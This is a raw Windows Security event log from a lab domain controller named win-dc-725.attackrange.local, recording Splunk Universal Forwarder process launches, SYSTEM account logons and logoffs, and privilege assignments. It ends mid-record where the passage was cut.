Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256607 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcfc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:33:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256610 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x42FC20 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:33:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256609 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x42FC20 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65427 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:33:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256608 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x42FC20 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:34:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256611 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:34:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256613 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x794 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:34:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256612 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x590 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:34:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256614 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x708 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:34:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256615 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:34:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256616 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x52c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:34:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256617 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:34:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256620 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4331A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:34:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256619 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4331A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65441 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:34:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256618 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4331A5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:35:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256622 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:35:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256621 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:35:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256623 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x558 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:35:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256624 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:35:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256625 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:35:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256626 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:35:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256627 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:35:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256630 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x436715 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:35:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 